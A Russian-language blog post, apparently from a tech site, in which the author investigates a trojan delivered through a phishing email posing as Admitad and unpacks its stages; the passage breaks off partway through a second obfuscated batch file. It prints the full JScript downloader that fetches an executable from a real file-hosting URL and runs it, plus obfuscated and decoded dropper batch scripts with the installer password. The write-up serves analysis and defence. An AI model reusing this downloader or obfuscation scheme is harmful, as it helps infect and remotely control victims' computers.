Всем привет!

Сегодня я расскажу вам об одном троянском коне, забредшем в огород моего очень хорошего знакомого, о том, как я выгонял незваного гостя, о том, что у него внутри и какие уроки из всего этого я вынес.

Если вам интересно — добро пожаловать под кат!

Часть первая: начало


Началось всё недели три назад тёплым весенним днём, когда ко мне позвонил мой очень хороший знакомый и рассказал вот такую историю: несколько минут назад он получил на email письмо от компании Admitad, с которой у него деловые отношения. Письмо было вот такого содержания:

Уважаемые пользователи Admitad Уведомляем вас о нововведениях: С 23.03.16 Изменён порядок начисления трафика и систем выплат. Подробно см. Вложение. С 25.03.16 вводится система налогооблажения (НДС) на все аккаунты AD. Подробности НДС для каждого уровня аккаунта AD смотрите во вложении. С Уважением Admitad Support.

Отправителем значился Admitad Support. Ну и, естественно, к письму был приаттачен RAR-архив с XLS-файлом внутри.

Архив он, конечно же, распаковал, XLS-файл запустил и (та-даааа!) разрешил запуск макросов, потому что Excel вместо ожидаемой таблицы отображал пространное толкование про какие-то макросы (чёрт его знает — что это такое, да и слово какое-то дурацкое). Ну и после того, как он увидел какой-то счёт на оплату за просмотр видеоролика, наступило наконец-то прозрение, что его жестоко обманули. Он понял, что только что подхватил какую-то инфекцию и попросил меня глянуть компьютер — чтобы избавиться от неё.

Я выслушал историю, пожурил его немного, посочувствовал ему и попросил запустить Тимвьювер — потому как ехать через весь город было несколько лениво.

Часть вторая: первичное обследование


Подключившись к компьютеру через Тимвьювер, я начал обследование.

Первым делом аттач был отправлен на Virustotal: результат 0/56. Свежак — подумал я.
Затем я начал искать на диске свежие файлы. Таковые нашлись в папке temp: там среди прочего барахла лежало два запускаемых файла: run.exe и stream.js.

Вот так выглядел изнутри stream.js
(function (Global){

function CreateObject(ProgId)
{
 return new ActiveXObject(ProgId);
}

var FSO = fso = CreateObject("Scripting.FileSystemObject");
var WshShell = CreateObject("WScript.Shell");

function tmp()
{
 var uyeifds = new ActiveXObject("Shell.Application");
 return uyeifds;
}

function isFile(Path)
{
 Path = WshShell.ExpandEnvironmentStrings(Path);
 return fso.FileExists(Path);
}

function shl(rto)
{
 tmp().ShellExecute(rto,"","","open","0");
}

function DeleteFile(Path)
{
    if (/Array/i.test(Path.constructor+""))
    {
  for (var i=0, l=Path.length;i<l;i++)
  DeleteFile(Path[i]);
  return;
    }

 Path = WshShell.ExpandEnvironmentStrings(Path);
 try
 {
  if (isFile(Path))
  FSO.GetFile(Path).Delete(true);
 } catch (e) {}
}

function DownloadFileFromURL(Url, FileDest)
{
 var msx = "Msxml2";
 if (!FileDest || !Url) return null;

 var ge = "GE";

 FileDest = WshShell.ExpandEnvironmentStrings(FileDest);
 msx = msx + ".XMLHTTP";
 DeleteFile(FileDest);
 var oXMLHTTP = WScript.CreateObject(msx);
 oXMLHTTP.open (ge + "T", Url, false);
 oXMLHTTP.send(null);
 var oADOStream = CreateObject("ADO" + "DB.Stream");
 with (oADOStream){
     Mode = 3;
     Type = 1;
     Open()
     Write (oXMLHTTP.responseBody);
     SaveToFile(FileDest, 2);
     Close();
     return FileDest;
 }
}

var tor1="%TMP%\\run.e";
var tor2="xe";

 try
 {
 FSO.GetFile("\\\\WORKOUT\\..hj");
 } catch (e)
 {

 var Url="http://s2.zalivalka.ru/download/344314/231.jpg";
 DownloadFileFromURL(Url,tor1+tor2);

 shl(WshShell.ExpandEnvironmentStrings(tor1+tor2));
 }
})(this)


Беглый осмотр пациента дал понять, что это просто загрузчик, который грузит файл httр://s2.zalivalka.ru/download/344314/231.jpg, переименовывает его в run.exe и запускает. Здесь в URL я специально заменил в аббревиатуре http латинскую 'p' на русскую 'р' — чтобы URL не превратился в линк. На run.exe Virustotal также скромно не отреагировал.

Ладно — подумал я — и продолжил поиск свежих файлов в компьютере. Скоро обнаружилась папка "%appdata%\MicrocoftUpdate\" с кучкой файлов внутри. Да, да, именно так — Microcoft — через 'c'. Уж не знаю — специально была сделана эта ошибка или нет, но она значительно облегчила дальнейший поиск изменений, внесённых в реестр. В этой папке exe-шник был всего один: ctfmon.exe. Если кто подзабыл, то напомню, что так когда-то назывался переключатель раскладки клавиатуры в ОС Windows XP.

Для начала я решил переименовать эту папку — чтобы вирус, которого я ещё не обнаружил, не смог пользоваться файлами из неё. Однако попытка переименовать папку закончилась неудачей. А не cftmon.exe ли из неё запущен и не даёт мне этого сделать? — подумал я. Открыл диспетчер задач — ну так и есть — вот он, родимый. Терминировал его и папка после этого переименовалась.

Затем я отправил ctfmon.exe на Virustotal. Результат был не очень страшный — что-то около 5/56, причём эти пятеро говорили о том, что это не вирус, а так-называемое RiskWare — легальное программное обеспечение, используемое для удалённого управления компьютером. Тогда я вернулся в папку temp и в этот момент понял, что совершил серьёзную ошибку: папка была пуста. Параллельно со мной в компьютере покопался некто, собрал всё, что ему было нужно, аккуратно прибрался за собой и ушёл.

Чёрт, чёрт, чёрт! Моя лень дала недругу возможность сделать своё чёрное дело. Я набрал телефон знакомого, попросил его выключить компьютер, взял ноутбук и поехал к нему домой.

Часть третья: препарирование коня


Для проведения вивисекции на ноутбук была установлена виртуальная машина, на которую были поставлены Windows 7, Microsoft Office, Process Monitor и WireShark. Запустив вирус, я немного подождал — когда он закончит все свои дела и запустит ctfmon.exe, после чего терминировал ctfmon и приступил к изучению собранных логов.

Из лога Process Monitor-а скоро стало понятно, что run.exe — это самораспаковывающийся архив. Для проверки я открыл его как архив: ну так и есть — внутри два файла: t10.bat и poi.exe. Вытащив из архива t10.bat я решил его поизучать: но не тут-то было! Такого видеть мне ещё не приходилось.

Внутри t10.bat было вот это.
set iDVrlM=set
%iDVrlM% pGJV=
%iDVrlM%%pGJV%lVOMlhijX==
%iDVrlM%%pGJV%GcayqJj%lVOMlhijX%{
%iDVrlM%%pGJV%DysQd%lVOMlhijX%i
%iDVrlM%%pGJV%zSdh%lVOMlhijX%0
%iDVrlM%%pGJV%IyEwFH%lVOMlhijX%W
%iDVrlM%%pGJV%wgHafh%lVOMlhijX%d
%iDVrlM%%pGJV%EyadtMp%lVOMlhijX%f
%iDVrlM%%pGJV%ipCNKA%lVOMlhijX%5
%iDVrlM%%pGJV%QYFaxm%lVOMlhijX%*
%iDVrlM%%pGJV%VTlcnvcrw%lVOMlhijX%]
%iDVrlM%%pGJV%rirX%lVOMlhijX%M
%iDVrlM%%pGJV%iKwg%lVOMlhijX%_
%iDVrlM%%pGJV%RASAyUS%lVOMlhijX%?
%iDVrlM%%pGJV%heoAiQ%lVOMlhijX%g
%iDVrlM%%pGJV%uMCoFRy%lVOMlhijX%/
%iDVrlM%%pGJV%hxUEB%lVOMlhijX%$
%iDVrlM%%pGJV%JzIoznwCO%lVOMlhijX%v
%iDVrlM%%pGJV%dbqUTP%lVOMlhijX%!
%iDVrlM%%pGJV%KepbD%lVOMlhijX%#
%iDVrlM%%pGJV%LXEX%lVOMlhijX%s
%iDVrlM%%pGJV%LpfBjM%lVOMlhijX%@
%iDVrlM%%pGJV%UahIVhihw%lVOMlhijX%I
%iDVrlM%%pGJV%uCYMaI%lVOMlhijX%-
%iDVrlM%%pGJV%vmit%lVOMlhijX%D
%iDVrlM%%pGJV%MCWbFLDjD%lVOMlhijX%E
%iDVrlM%%pGJV%knPXvDj%lVOMlhijX%7
%iDVrlM%%pGJV%YEhMVMG%lVOMlhijX%;
%iDVrlM%%pGJV%wTULRTl%lVOMlhijX%1
%iDVrlM%%pGJV%Jrjse%lVOMlhijX%q
%iDVrlM%%pGJV%NDAI%lVOMlhijX%x
%iDVrlM%%pGJV%lUEuKBc%lVOMlhijX%U
%iDVrlM%%pGJV%HriWu%lVOMlhijX%8
%iDVrlM%%pGJV%VMaInwUi%lVOMlhijX%w
%iDVrlM%%pGJV%KrGSTTdN%lVOMlhijX%9
%iDVrlM%%pGJV%XokcwjROA%lVOMlhijX%%iDVrlM%%pGJV%DdlJvxpBT%lVOMlhijX%y
%iDVrlM%%pGJV%LVicuKuUF%lVOMlhijX%F
%iDVrlM%%pGJV%hnydIrGM%lVOMlhijX%B
%iDVrlM%%pGJV%RXvHWsxrp%lVOMlhijX%4
%iDVrlM%%pGJV%dIYiPoN%lVOMlhijX%}
%iDVrlM%%pGJV%ukXME%lVOMlhijX%+
%iDVrlM%%pGJV%gWSgSMYA%lVOMlhijX%T
%iDVrlM%%pGJV%IYBhtEnG%lVOMlhijX%e
%iDVrlM%%pGJV%yBLVgYi%lVOMlhijX%N
%iDVrlM%%pGJV%YYRSUQ%lVOMlhijX%z
%iDVrlM%%pGJV%UbHph%lVOMlhijX%P
%iDVrlM%%pGJV%fTsricQFz%lVOMlhijX%k
%iDVrlM%%pGJV%gkNnIB%lVOMlhijX%2
%iDVrlM%%pGJV%ztzbgDRjB%lVOMlhijX%j
%iDVrlM%%pGJV%TMmw%lVOMlhijX%n
%iDVrlM%%pGJV%bFpwLXPA%lVOMlhijX%p
%iDVrlM%%pGJV%UjcGDFmD%lVOMlhijX%a
%iDVrlM%%pGJV%ydOvR%lVOMlhijX%Y
%iDVrlM%%pGJV%cpwfdcVIC%lVOMlhijX%"
%iDVrlM%%pGJV%sIMODTo%lVOMlhijX%)
%iDVrlM%%pGJV%reSQtdOC%lVOMlhijX%[
%iDVrlM%%pGJV%LnzWsIe%lVOMlhijX%6
%iDVrlM%%pGJV%gJBfV%lVOMlhijX%L
%iDVrlM%%pGJV%XmuWmdma%lVOMlhijX%.
%iDVrlM%%pGJV%sAGBcVq%lVOMlhijX%h
%iDVrlM%%pGJV%GmXLXKBWD%lVOMlhijX%O
%iDVrlM%%pGJV%CwxeyCrE%lVOMlhijX%t
%iDVrlM%%pGJV%mmTzf%lVOMlhijX%l
%iDVrlM%%pGJV%aTVdF%lVOMlhijX%r
%iDVrlM%%pGJV%ILOSfqlmf%lVOMlhijX%Z
%iDVrlM%%pGJV%WsGmIpaah%lVOMlhijX%R
%iDVrlM%%pGJV%yJgKHTGjV%lVOMlhijX%C
%iDVrlM%%pGJV%TPqwMwH%lVOMlhijX%Q
%iDVrlM%%pGJV%hJJAtBUgr%lVOMlhijX%H
%iDVrlM%%pGJV%hHpkv%lVOMlhijX%m
%iDVrlM%%pGJV%wlLk%lVOMlhijX%b
%iDVrlM%%pGJV%hlbFW%lVOMlhijX%,
%iDVrlM%%pGJV%cGSDDWyd%lVOMlhijX%X
%iDVrlM%%pGJV%phqNn%lVOMlhijX%J
%iDVrlM%%pGJV%fPbur%lVOMlhijX%S
%iDVrlM%%pGJV%eOigMGv%lVOMlhijX%u
%iDVrlM%%pGJV%CbAKNK%lVOMlhijX%K
%iDVrlM%%pGJV%IWaff%lVOMlhijX%3
%iDVrlM%%pGJV%sccH%lVOMlhijX%c
%iDVrlM%%pGJV%PoATNXt%lVOMlhijX%o
%iDVrlM%%pGJV%tdMSJfDrF%lVOMlhijX%V
%iDVrlM%%pGJV%ITymyoQK%lVOMlhijX%:
%iDVrlM%%pGJV%eaOFc%lVOMlhijX%G
%iDVrlM%%pGJV%Bucwql%lVOMlhijX%A
%iDVrlM%%pGJV%lcDFKx%lVOMlhijX%(
%LpfBjM%%MCWbFLDjD%%sccH%%sAGBcVq%%PoATNXt%%pGJV%%GmXLXKBWD%%EyadtMp%%EyadtMp%
%bFpwLXPA%%DysQd%%TMmw%%heoAiQ%%pGJV%%uCYMaI%%TMmw%%pGJV%%gkNnIB%%pGJV%%heoAiQ%%PoATNXt%%PoATNXt%%heoAiQ%%mmTzf%%IYBhtEnG%%XmuWmdma%%sccH%%PoATNXt%%hHpkv%|%LVicuKuUF%%DysQd%%TMmw%%wgHafh%%pGJV%%uMCoFRy%%UahIVhihw%%pGJV%%cpwfdcVIC%%gWSgSMYA%%gWSgSMYA%%gJBfV%%lVOMlhijX%%cpwfdcVIC%||%heoAiQ%%PoATNXt%%CwxeyCrE%%PoATNXt%%pGJV%%TMmw%%IYBhtEnG%%NDAI%%CwxeyCrE%%pGJV%
%CwxeyCrE%%UjcGDFmD%%LXEX%%fTsricQFz%%fTsricQFz%%DysQd%%mmTzf%%mmTzf%%pGJV%%uMCoFRy%%EyadtMp%%pGJV%%uMCoFRy%%DysQd%%hHpkv%%pGJV%%sccH%%CwxeyCrE%%EyadtMp%%hHpkv%%PoATNXt%%TMmw%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%CwxeyCrE%%UjcGDFmD%%LXEX%%fTsricQFz%%fTsricQFz%%DysQd%%mmTzf%%mmTzf%%pGJV%%uMCoFRy%%EyadtMp%%pGJV%%uMCoFRy%%DysQd%%hHpkv%%pGJV%%sccH%%CwxeyCrE%%EyadtMp%%hHpkv%%PoATNXt%%TMmw%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%CwxeyCrE%%UjcGDFmD%%LXEX%%fTsricQFz%%fTsricQFz%%DysQd%%mmTzf%%mmTzf%%pGJV%%uMCoFRy%%EyadtMp%%pGJV%%uMCoFRy%%DysQd%%hHpkv%%pGJV%%sccH%%CwxeyCrE%%EyadtMp%%hHpkv%%PoATNXt%%TMmw%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%CwxeyCrE%%UjcGDFmD%%LXEX%%fTsricQFz%%fTsricQFz%%DysQd%%mmTzf%%mmTzf%%pGJV%%uMCoFRy%%EyadtMp%%pGJV%%uMCoFRy%%DysQd%%hHpkv%%pGJV%%sccH%%CwxeyCrE%%EyadtMp%%hHpkv%%PoATNXt%%TMmw%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%CwxeyCrE%%UjcGDFmD%%LXEX%%fTsricQFz%%fTsricQFz%%DysQd%%mmTzf%%mmTzf%%pGJV%%uMCoFRy%%EyadtMp%%pGJV%%uMCoFRy%%DysQd%%hHpkv%%pGJV%%sccH%%CwxeyCrE%%EyadtMp%%hHpkv%%PoATNXt%%TMmw%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%CwxeyCrE%%UjcGDFmD%%LXEX%%fTsricQFz%%fTsricQFz%%DysQd%%mmTzf%%mmTzf%%pGJV%%uMCoFRy%%EyadtMp%%pGJV%%uMCoFRy%%DysQd%%hHpkv%%pGJV%%sccH%%CwxeyCrE%%EyadtMp%%hHpkv%%PoATNXt%%TMmw%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%CwxeyCrE%%UjcGDFmD%%LXEX%%fTsricQFz%%fTsricQFz%%DysQd%%mmTzf%%mmTzf%%pGJV%%uMCoFRy%%EyadtMp%%pGJV%%uMCoFRy%%DysQd%%hHpkv%%pGJV%%sccH%%CwxeyCrE%%EyadtMp%%hHpkv%%PoATNXt%%TMmw%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%%pGJV%%uMCoFRy%%JzIoznwCO%%IYBhtEnG%%aTVdF%%DdlJvxpBT%%LXEX%%DysQd%%mmTzf%%IYBhtEnG%%TMmw%%CwxeyCrE%%pGJV%%uMCoFRy%%UbHph%%UjcGDFmD%%LXEX%%LXEX%%VMaInwUi%%PoATNXt%%aTVdF%%wgHafh%%lVOMlhijX%%IWaff%%RXvHWsxrp%%ipCNKA%%RXvHWsxrp%%LnzWsIe%%ipCNKA%%wTULRTl%%gkNnIB%%gkNnIB%%IWaff%%RXvHWsxrp%%ipCNKA%
%bFpwLXPA%%DysQd%%TMmw%%heoAiQ%%pGJV%%mmTzf%%PoATNXt%%sccH%%UjcGDFmD%%mmTzf%%sAGBcVq%%PoATNXt%%LXEX%%CwxeyCrE%%pGJV%%uCYMaI%%wTULRTl%%zSdh%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%0%pGJV%>%pGJV%%TMmw%%eOigMGv%%mmTzf%
%heoAiQ%%PoATNXt%%CwxeyCrE%%PoATNXt%%pGJV%%wTULRTl%
:next
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%0%pGJV%>%pGJV%%TMmw%%eOigMGv%%mmTzf%
:1
%MCWbFLDjD%%NDAI%%DysQd%%CwxeyCrE%%pGJV%


Походило на какую-то шифровку от Алекса Юстасу. Пришлось разбираться.

Первой строкой шло:
set iDVrlM=set

Ясно, что в тексте все строки '%iDVrlM%' нужно заменить на 'set'. Сказано — сделано:
set iDVrlM=set
set pGJV=
set%pGJV%lVOMlhijX==
set%pGJV%GcayqJj%lVOMlhijX%{
...ну и так далее: пока не принципиально.

Теперь вторая строка стала выглядеть по-человечески. После знака равно в ней стоит пробел (здесь на коде этого не видно). Понятно, что теперь нужно заменить все строки '%pGJV%' на пробел:
set iDVrlM=set
set pGJV=
set lVOMlhijX==
set GcayqJj%lVOMlhijX%{
set DysQd%lVOMlhijX%i
...ну и так далее: опять же пока не принципиально.

Идём дальше. Третья строка говорит нам о том, что нужно заменить все строки '%lVOMlhijX%' на знак равенства:

Результат замены
set iDVrlM=set
set pGJV=
set lVOMlhijX==
set GcayqJj={
set DysQd=i
set zSdh=0
set IyEwFH=W
set wgHafh=d
set EyadtMp=f
set ipCNKA=5
set QYFaxm=*
set VTlcnvcrw=]
set rirX=M
set iKwg=_
set RASAyUS=?
set heoAiQ=g
set uMCoFRy=/
set hxUEB=$
set JzIoznwCO=v
set dbqUTP=!
set KepbD=#
set LXEX=s
set LpfBjM=@
set UahIVhihw=I
set uCYMaI=-
set vmit=D
set MCWbFLDjD=E
set knPXvDj=7
set YEhMVMG=;
set wTULRTl=1
set Jrjse=q
set NDAI=x
set lUEuKBc=U
set HriWu=8
set VMaInwUi=w
set KrGSTTdN=9
set XokcwjROA=set DdlJvxpBT=y
set LVicuKuUF=F
set hnydIrGM=B
set RXvHWsxrp=4
set dIYiPoN=}
set ukXME=+
set gWSgSMYA=T
set IYBhtEnG=e
set yBLVgYi=N
set YYRSUQ=z
set UbHph=P
set fTsricQFz=k
set gkNnIB=2
set ztzbgDRjB=j
set TMmw=n
set bFpwLXPA=p
set UjcGDFmD=a
set ydOvR=Y
set cpwfdcVIC="
set sIMODTo=)
set reSQtdOC=[
set LnzWsIe=6
set gJBfV=L
set XmuWmdma=.
set sAGBcVq=h
set GmXLXKBWD=O
set CwxeyCrE=t
set mmTzf=l
set aTVdF=r
set ILOSfqlmf=Z
set WsGmIpaah=R
set yJgKHTGjV=C
set TPqwMwH=Q
set hJJAtBUgr=H
set hHpkv=m
set wlLk=b
set hlbFW=,
set cGSDDWyd=X
set phqNn=J
set fPbur=S
set eOigMGv=u
set CbAKNK=K
set IWaff=3
set sccH=c
set PoATNXt=o
set tdMSJfDrF=V
set ITymyoQK=:
set eaOFc=G
set Bucwql=A
set lcDFKx=(
...


Ну вот, теперь открылся весь алфавит замены. Потратив ещё минут 15, с помощью текстового и HEX-редакторов я заменил все %строки% на соответствующие им символы и в результате получился вот такой bat-файл:
@Echo Off
ping -n 2 google.com|Find /I "TTL="||goto next
taskkill /f /im ctfmon.exe
taskkill /f /im ctfmon.exe
taskkill /f /im ctfmon.exe
taskkill /f /im ctfmon.exe
taskkill /f /im ctfmon.exe
taskkill /f /im ctfmon.exe
taskkill /f /im ctfmon.exe
poi.exe /verysilent /Password=345465122345
ping localhost -10
del %0 > nul
goto 1
:next
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del %0 > nul
:1
Exit

Суть bat-файла оказалась весьма незамысловатой: при помощи пинга google.com проверяется наличие связи с Интернетом. Если связи нет — poi.exe удаляется вместе с самим bat-файлом и на этом всё заканчивается. Если же связь есть, то сначала терминируется процесс ctfmon.exe, потом запускается poi.exe с параметрами «verysilent» и «Password=345465122345» и потом самоуничтожается bat-файл.

Мне так и осталось неясным два момента — что предполагалось сделать командой «ping localhost -10» и к чему эти многократные повторения операций taskkill и del?

Ну да ладно. После этого я принялся за изучение poi.exe. Попытка открыть его как архив завершилась неудачей. Однако запуск программы с параметрами — несколько необычное поведение для вируса (как мне показалось). Поэтому я обратился к кладези знаний под названием Интернет и по ключевым словам «verysilent» и «Password» сразу нашёл искомое: Inno Setup is a free installer for Windows programs.

Раз кто-то сделал архиватор, то кто-нибудь другой обязательно должен сделать распаковщик — подумал я — и продолжил поиск. Запрос «inno setup decompiler» сходу дал нужный результат. Отлично! Скачал его и запустил:
d:\virus\poi>innounp -x -p345465122345 poi.exe
; Version detected: 5500 (Unicode)
#0 {app}\avicap32.dll
Reading slice d:\virus\poi\poi.exe
#1 {app}\ctfmon.exe
#2 {app}\test.bat
#3 {app}\test.vbs
#4 install_script.iss

Распаковщик быстро выполнил свою работу и я получил несколько файлов для дальнейшего изучения. Начал я с файла install_script.iss. Единственной заслуживающей внимания в нём была секция [Run]:
Filename: "{app}\test.vbs"; Description: "{cm:LaunchProgram,Test}"; MinVersion: 0.0,5.0; Flags: shellexec postinstall nowait

Из неё стало понятно, что первым запускается VB-скрипт test.vbs:
On Error Resume Next
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "test.bat",0,true
Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.DeleteFile WScript.ScriptFullName, 0

Скрипт тоже несложный: запускает test.bat и самоуничтожается.

Теперь смотрим test.bat:

Тьфу ты, чёрт, теперь Юстас телеграфирует Алексу!
set lpQmnLQ=set
%lpQmnLQ% RCRUDqE=
%lpQmnLQ%%RCRUDqE%yFcQKpJyG==
%lpQmnLQ%%RCRUDqE%aaLTgkA%yFcQKpJyG%#
%lpQmnLQ%%RCRUDqE%kOXeOOyR%yFcQKpJyG%@
%lpQmnLQ%%RCRUDqE%toTUt%yFcQKpJyG%o
%lpQmnLQ%%RCRUDqE%mRMLJkAp%yFcQKpJyG%/
%lpQmnLQ%%RCRUDqE%IHrQ%yFcQKpJyG%;
%lpQmnLQ%%RCRUDqE%immQQhH%yFcQKpJyG%c
%lpQmnLQ%%RCRUDqE%ksBw%yFcQKpJyG%Q
%lpQmnLQ%%RCRUDqE%qlLeeJ%yFcQKpJyG%f
%lpQmnLQ%%RCRUDqE%QvBGN%yFcQKpJyG%E
%lpQmnLQ%%RCRUDqE%SAKEFniaY%yFcQKpJyG%G
%lpQmnLQ%%RCRUDqE%hmixayLOL%yFcQKpJyG%M
%lpQmnLQ%%RCRUDqE%oaLFfs%yFcQKpJyG%}
%lpQmnLQ%%RCRUDqE%NjHP%yFcQKpJyG%K
%lpQmnLQ%%RCRUDqE%MuOksUDd%yFcQKpJyG%u
%lpQmnLQ%%RCRUDqE%upeuMhJ%yFcQKpJyG%H
%lpQmnLQ%%RCRUDqE%mOMhgb%yFcQKpJyG%y
%lpQmnLQ%%RCRUDqE%NSQCAVz%yFcQKpJyG%:
%lpQmnLQ%%RCRUDqE%dxmCkR%yFcQKpJyG%[
%lpQmnLQ%%RCRUDqE%ScSLQo%yFcQKpJyG%l
%lpQmnLQ%%RCRUDqE%iGpKA%yFcQKpJyG%0
%lpQmnLQ%%RCRUDqE%MKbjyO%yFcQKpJyG%R
%lpQmnLQ%%RCRUDqE%tCgoVQ%yFcQKpJyG%+
%lpQmnLQ%%RCRUDqE%KbJyRFMVu%yFcQKpJyG%(
%lpQmnLQ%%RCRUDqE%yOmTK%yFcQKpJyG%B
%lpQmnLQ%%RCRUDqE%DGHR%yFcQKpJyG%8
%lpQmnLQ%%RCRUDqE%LKQhkKSem%yFcQKpJyG%s
%lpQmnLQ%%RCRUDqE%UtIjaUOl%yFcQKpJyG%X
%lpQmnLQ%%RCRUDqE%KYddI%yFcQKpJyG%A
%lpQmnLQ%%RCRUDqE%TMuVQ%yFcQKpJyG%4
%lpQmnLQ%%RCRUDqE%dAMOY%yFcQKpJyG%)
%lpQmnLQ%%RCRUDqE%vpVg%yFcQKpJyG%_
%lpQmnLQ%%RCRUDqE%aeVO%yFcQKpJyG%J
%lpQmnLQ%%RCRUDqE%YrtVU%yFcQKpJyG%b
%lpQmnLQ%%RCRUDqE%vANLWtdW%yFcQKpJyG%d
%lpQmnLQ%%RCRUDqE%tNqAVXbz%yFcQKpJyG%m
%lpQmnLQ%%RCRUDqE%LkyqXKNYc%yFcQKpJyG%e
%lpQmnLQ%%RCRUDqE%ltuAgKR%yFcQKpJyG%w
%lpQmnLQ%%RCRUDqE%GNbpPXWvQ%yFcQKpJyG%a
%lpQmnLQ%%RCRUDqE%QBmzz%yFcQKpJyG%i
%lpQmnLQ%%RCRUDqE%pNywcj%yFcQKpJyG%C
%lpQmnLQ%%RCRUDqE%sQrHzBN%yFcQKpJyG%v
%lpQmnLQ%%RCRUDqE%DCbQQGfkL%yFcQKpJyG%2
%lpQmnLQ%%RCRUDqE%zUwuD%yFcQKpJyG%z
%lpQmnLQ%%RCRUDqE%abWkRpti%yFcQKpJyG%S
%lpQmnLQ%%RCRUDqE%mPVfEbE%yFcQKpJyG%r
%lpQmnLQ%%RCRUDqE%sIluXDQS%yFcQKpJyG%7
%lpQmnLQ%%RCRUDqE%OWatTKvD%yFcQKpJyG%x
%lpQmnLQ%%RCRUDqE%krFh%yFcQKpJyG%5
%lpQmnLQ%%RCRUDqE%UdGiq%yFcQKpJyG%T
%lpQmnLQ%%RCRUDqE%kHci%yFcQKpJyG%]
%lpQmnLQ%%RCRUDqE%pVCdLFa%yFcQKpJyG%,
%lpQmnLQ%%RCRUDqE%nmvE%yFcQKpJyG%j
